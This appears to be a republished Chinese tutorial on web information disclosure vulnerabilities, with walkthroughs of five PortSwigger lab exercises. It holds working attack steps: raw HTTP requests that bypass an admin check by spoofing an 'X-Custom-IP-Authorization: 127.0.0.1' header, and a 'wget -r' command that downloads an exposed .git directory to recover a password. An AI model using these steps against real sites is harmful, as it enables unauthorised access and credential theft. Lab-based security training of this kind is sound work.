admin管理员组文章数量:1637661
欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:
- 《WEB安全基础-服务器端漏洞》
- 《WEB安全基础-客户端漏洞》
- 《WEB安全高级-综合利用》
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
- 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
- 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
- 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
- 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
WEB安全基础入门—信息泄露漏洞
- 1. 什么是信息泄露漏洞
- 2. 通常泄露信息的途径
- 3. 信息泄露引起的原因
- 3. 漏洞利用
- 1. 探测漏洞存在
- 2. 报错信息中的信息泄露
- 3. 隐藏路径中包含敏感信息
- 4. 通过备份文件查看源代码
- 5. 错误配置导致信息泄露
- 6. 版本控制历史信息泄露
- 4. 漏洞实例
- 1. 错误消息中的信息泄漏([Information disclosure in error messages](https://portswigger/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages))
- 2. 调试页面上的信息泄露([Information disclosure on debug page](https://portswigger/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page))
- 3. 通过备份文件泄露源代码([Source code disclosure via backup files](https://portswigger/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files))
- 4. 通过信息泄露绕过身份验证([Authentication bypass via information disclosure](https://portswigger/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass))
- 5. 版本控制历史中的信息泄漏 ([Information disclosure in version control history](https://portswigger/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history))
1. 什么是信息泄露漏洞
网站或应用在响应中无意间泄露的敏感信息,攻击者获取到这些敏感信息为后续攻击做准备。泄露的信息主要包括以下三类:
- 其他账户的数据或财务信息意外泄露
- 敏感业务数据泄露
- 网站及其基础架构技术细节信息泄露
2. 通常泄露信息的途径
- 扫描获得的网站目录和文件信息。
/cgi-bin/phpinfo
等等 /robots.txt
、/sitemap.xml
君子协定文件里的路径文件信息- 遗漏的临时备份的源代码文件
/.git
/backup
等 - 数据库报错或异常响应信息中反馈的内容
- 应用反馈过多的非必要展示信息
- 硬编码写在源码中的API KEY 、IP地址、数据库信息等
3. 信息泄露引起的原因
- 开发遗留的部分信息,未在上线前进行清理。
- 不安全的配置导致。比如debug模式上线后未关闭,导致在公开使用时,泄露大量调试报错信息。
- 程序设计和实现缺陷。
3. 漏洞利用
1. 探测漏洞存在
渗透测试的一项关键技能是能够随时随地识别有价值的信息。下面的几个具体方法可以用来探测漏洞是否存在:
- 输入混淆的参数
一旦对某个参数感兴趣,可以将该参数值进行混淆输入,观察应用响应。这一步可使用Burp爆破模块进行大量自动化的混淆测试。
- 使用扫描器对网站进行扫描
- 使用Burp或其他相关工具探寻信息
- search-能在监测的所有数据包中快速筛选指定内容。
- find comments-在检测的所有数据包和文件中,快速查找注释
- discover content-内容探测,发现隐藏的路径、敏感信息和文件
- 使用各种方式,诱使应用响应报错信息
2. 报错信息中的信息泄露
例题1
3. 隐藏路径中包含敏感信息
例题2
4. 通过备份文件查看源代码
例题 3
5. 错误配置导致信息泄露
例题4
6. 版本控制历史信息泄露
在开发阶段经常使用版本控制系统,例如Git 在路径扫描中有时能发现路径/.git
可在攻击端安装Git,直接拉取下载,来获取部分源代码
例题5
4. 漏洞实例
1. 错误消息中的信息泄漏(Information disclosure in error messages)
- 目标
获取使用框架的版本号
- 解题思路
抓取数据包/product?productId=20
随意在后面加个特殊符号如'
尝试引起报错。
HTTP/1.1 500 Internal Server Error
Connection: close
Content-Length: 1511
Internal Server Error: java.lang.NumberFormatException: For input string: "20'"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:668)
at java.base/java.lang.Integer.parseInt(Integer.java:786)
.......
at java.base/java.lang.Thread.run(Thread.java:833)
Apache Struts 2 2.3.31
获取到框架及其版本号
2. 调试页面上的信息泄露(Information disclosure on debug page)
- 目标
获取SECRET_KEY
- 解题思路
通过路径扫描,发现/cgi-bin/phpinfo
3. 通过备份文件泄露源代码(Source code disclosure via backup files)
- 目标
获取部分源代码,找到数据库密码
- 解题思路
- 存在
/robots.txt
- 存在
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 32
User-agent: *
Disallow: /backup
- 访问
/backup
存在源代码备份,从中找到数据库密码
4. 通过信息泄露绕过身份验证(Authentication bypass via information disclosure)
- 目标
指定header为本地的用户才有权限访问admin, 删除账户carlos
测试账户:wiener:peter
- 解题思路
- 扫描发现
/admin
页面,尝试访问。
- 扫描发现
Admin interface only available to local users
- 使用TRACE 方法 访问该页面发现
X-Custom-IP-Authorization: IP
TRACE /admin/ HTTP/1.1
Host: acd91ff31f481bb2c0acb121008d007b.web-security-academy
Origin: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Cookie: session=CdwDkeDYoxOtc7RD83dIx71oQaL2kwRx
HTTP/1.1 200 OK
Content-Type: message/http
Connection: close
Content-Length: 416
TRACE /admin/ HTTP/1.1
Host: acd91ff31f481bb2c0acb121008d007b.web-security-academy
Origin: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Cookie: session=CdwDkeDYoxOtc7RD83dIx71oQaL2kwRx
X-Custom-IP-Authorization: IP
- 在访问
GET /admin
设置X-Custom-IP-Authorization: 127.0.0.1
成功绕过限制
GET /admin/ HTTP/1.1
Host: acd91ff31f481bb2c0acb121008d007b.web-security-academy
X-Custom-IP-Authorization: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Cookie: session=CdwDkeDYoxOtc7RD83dIx71oQaL2kwRx
5. 版本控制历史中的信息泄漏 (Information disclosure in version control history)
- 目标
获取administrator密码, 删除账户carlos
- 解题思路
扫描发信版本控制路径/.git
使用linux命令拉取下载
wget -r https://your-lab-id.web-security-academy/.git/
0000000000000000000000000000000000000000 4e09c0b6424c3d3ef8c3a5bc704d8267f2734808 Carlos Montoya <carlos@evil-user> 1654060361 +0000 commit (initial): Add skeleton admin panel
4e09c0b6424c3d3ef8c3a5bc704d8267f2734808 bc92290a11f85897017c0ff4d0e0a89505f8fbcf Carlos Montoya <carlos@evil-user> 1654060361 +0000 commit: Remove admin password from config
使用diff命令查看变化,可获取到administrator密码
版权声明:本文标题:公司账号密码、通信录泄露屡见不鲜,肆意流淌的敏感信息:WEB安全基础入门—信息泄露漏洞 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dianzi/1729254584a1192523.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论